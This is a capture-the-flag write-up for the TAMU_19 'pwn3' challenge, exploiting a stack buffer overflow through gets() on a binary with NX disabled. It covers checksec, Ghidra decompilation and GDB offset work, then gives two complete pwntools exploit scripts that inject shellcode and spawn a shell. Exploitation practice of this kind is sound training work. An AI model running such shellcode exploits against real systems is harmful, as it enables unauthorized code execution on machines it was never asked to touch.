Binary Exploitation
Source: TAMU_19
Basic File Checks
βββ(venv)β(markγΏhaxor)-[~/β¦/Pentest/BOF/03-begineer_bof/pwn3]
ββ$ file pwn3
pwn3: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
βββ(venv)β(markγΏhaxor)-[~/β¦/Pentest/BOF/03-begineer_bof/pwn3]
ββ$ checksec pwn3
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Documents/Pentest/BOF/03-begineer_bof/pwn3/pwn3'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Cool we see that its a x86 binay. And the protections in it is just only PIE
We see that thereβs no Stack Canary & NX is disabled
So we can inject shellcode to the stack and make it execute
Iβll run the binary to know what it does
βββ(venv)β(markγΏhaxor)-[~/β¦/Pentest/BOF/03-begineer_bof/pwn3]
ββ$ ./pwn3
Take this, you might need it on your journey 0xffd58f7e!
gosh
It prints out an address which looks like its gotten from the stack and exists after we give it input
Iβll now decompile it using ghidra
Hereβs the main function
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
echo(puVar1);
return 0;
}
It justs calls the echo() function
Hereβs the decompiled code
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void echo(void)
{
char local_12e [294];
printf("Take this, you might need it on your journey %p!\n",local_12e);
gets(local_12e);
return;
}
So basically hereβs whatβs happening
1. It prints out an address in the stack
2. It use get as stdin which is stored in a buffer which can only hold up to 294bytes
With this, we can cause buffer overflow as using get function is vulnerable and also when injecting shellcode on the stack the address iβll use is the one printed out when the program starts
Now iβll get the offset from where our input is stored and to the rip
Using gdb iβll set a breakpoint on the leave call in echo
βββ(venv)β(markγΏhaxor)-[~/β¦/Pentest/BOF/03-begineer_bof/pwn3]
ββ$ gdb -q pwn3
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.01ms using Python engine 3.11
Reading symbols from pwn3...
(No debugging symbols found in pwn3)
gefβ€ disass echo
Dump of assembler code for function echo:
0x0000059d <+0>: push ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx
0x000005a1 <+4>: sub esp,0x134
0x000005a7 <+10>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005ac <+15>: add ebx,0x1a20
0x000005b2 <+21>: sub esp,0x8
0x000005b5 <+24>: lea eax,[ebp-0x12a]
0x000005bb <+30>: push eax
0x000005bc <+31>: lea eax,[ebx-0x191c]
0x000005c2 <+37>: push eax
0x000005c3 <+38>: call 0x410 <printf@plt>
0x000005c8 <+43>: add esp,0x10
0x000005cb <+46>: sub esp,0xc
0x000005ce <+49>: lea eax,[ebp-0x12a]
0x000005d4 <+55>: push eax
0x000005d5 <+56>: call 0x420 <gets@plt>
0x000005da <+61>: add esp,0x10
0x000005dd <+64>: nop
0x000005de <+65>: mov ebx,DWORD PTR [ebp-0x4]
0x000005e1 <+68>: leave
0x000005e2 <+69>: ret
End of assembler dump.
gefβ€ b *echo+68
Breakpoint 1 at 0x620
gefβ€
Now iβll run it and give the input as 1234567890
gefβ€ r
Starting program: /home/mark/Documents/Pentest/BOF/03-begineer_bof/pwn3/pwn3
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Take this, you might need it on your journey 0xffffcebe!
1234567890
Program received signal SIGILL, Illegal instruction.
0x5655561f in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$eax : 0x0
$ebx : 0x56556fcc β <_GLOBAL_OFFSET_TABLE_+0> aam 0x1e
$ecx : 0xf7e1e9c4 β 0x00000000
$edx : 0x1
$esp : 0xffffcff0 β 0xffffd010 β 0x00000001
$ebp : 0xffffcff8 β 0x00000000
$esi : 0x56555630 β <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 β 0x00000000
$eip : 0x5655561f β <main+60> lea esp, [ebp-0x8]
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffcff0β+0x0000: 0xffffd010 β 0x00000001 β $esp
0xffffcff4β+0x0004: 0xf7e1cff4 β 0x0021cd8c
0xffffcff8β+0x0008: 0x00000000 β $ebp
0xffffcffcβ+0x000c: 0xf7c23295 β add esp, 0x10
0xffffd000β+0x0010: 0x00000000
0xffffd004β+0x0014: 0x000070 ("p"?)
0xffffd008β+0x0018: 0xf7ffcff4 β 0x00033f14
0xffffd00cβ+0x001c: 0xf7c23295 β add esp, 0x10
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:32 ββββ
0x56555612 <main+47> add esp, 0x10
0x56555615 <main+50> call 0x5655559d <echo>
0x5655561a <main+55> mov eax, 0x0
β 0x5655561f <main+60> lea esp, [ebp-0x8]
0x56555622 <main+63> pop ecx
0x56555623 <main+64> pop ebx
0x56555624 <main+65> pop ebp
0x56555625 <main+66> lea esp, [ecx-0x4]
0x56555628 <main+69> ret
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "pwn3", stopped 0x5655561f in main (), reason: SIGILL
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x5655561f β main()
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€
Iβll search for where the input is stored on the stack and the current rip address
gefβ€ search-pattern 1234567890
[+] Searching '1234567890' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
0x565581a0 - 0x565581ac β "1234567890\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffcebe - 0xffffcec8 β "1234567890"
gefβ€ i f
Stack level 0, frame at 0xffffcff0:
eip = 0x565555e1 in echo; saved eip = 0x5655561a
called by frame at 0xffffd010
Arglist at 0xffffcfe8, args:
Locals at 0xffffcfe8, Previous frame's sp is 0xffffcff0
Saved registers:
ebx at 0xffffcfe4, ebp at 0xffffcfe8, eip at 0xffffcfec
gefβ€
So doing the calculation (0xffffcfec - 0xffffcebe = 0x12e)
we get the offset as 0x12e
Now iβll write the exploit since we have everything needed
from pwn import *
io = process('./pwn3')
print(io.recvuntil('journey'))
leak = io.recvline()
addr = leak.strip('!\n')
stack_addr = int(addr, 16)
payload = ""
payload += "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
payload += b"A"*(0x12e - len(payload))
payload += p32(stack_addr)
io.sendline(payload)
io.interactive()
On running it boom we get shell xD
βββ(venv)β(markγΏhaxor)-[~/β¦/Pentest/BOF/03-begineer_bof/pwn3]
ββ$ python2 exploit.py
[+] Starting local process './pwn3': pid 36740
Take this, you might need it on your journey
[*] Switching to interactive mode
$
$ ls
exploit.py pwn3
$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),137(scanner),142(kaboxer)
$ whoami
mark
$
Edited:
Hereβs a modified exploit that will genenrate the shellcode using shellcraft π
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Set up pwntools for the correct architecture
exe = './pwn3'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Pass in pattern_size, get back EIP/RIP offset
offset = 0x12e
print("Offset at: " +hex(offset))
# Start program
io = start()
# Get the stack address (where out navigation commands will go)
print(io.recvuntil('Take this, you might need it on your journey'))
leak = io.recvline()
addr = leak.strip('!\n')
stack_addr = int(addr, 16)
print("Stack address at: " +hex(stack_addr))
shellcode = asm(shellcraft.sh())
padding = asm('nop') * (offset - len(shellcode))
# Build the payload
payload = flat([
shellcode,
padding,
stack_addr
])
io.sendline(payload)
# spawn a shell
io.interactive()
And weβre done